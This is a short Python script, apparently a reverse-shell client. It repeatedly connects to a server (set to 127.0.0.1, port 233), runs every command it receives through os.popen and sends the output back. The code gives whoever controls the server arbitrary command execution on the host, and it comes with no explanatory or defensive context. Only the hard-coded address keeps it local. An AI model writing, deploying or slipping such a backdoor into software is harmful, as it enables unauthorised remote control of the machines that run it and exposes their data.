import socket, os

s = socket.socket()

#Server connection
Host = '127.0.0.1'
Port = 233

connected = False

while 1:
    try:
        s.connect((Host, Port))
        connected = True
    except socket.error:
        connected = False
    while connected:
        try:
            req = s.recv(1024).decode('utf-8')
            result = os.popen(req).read()
            s.send( bytes(result, encoding='utf-8') )
        except socket.error:
            connected = False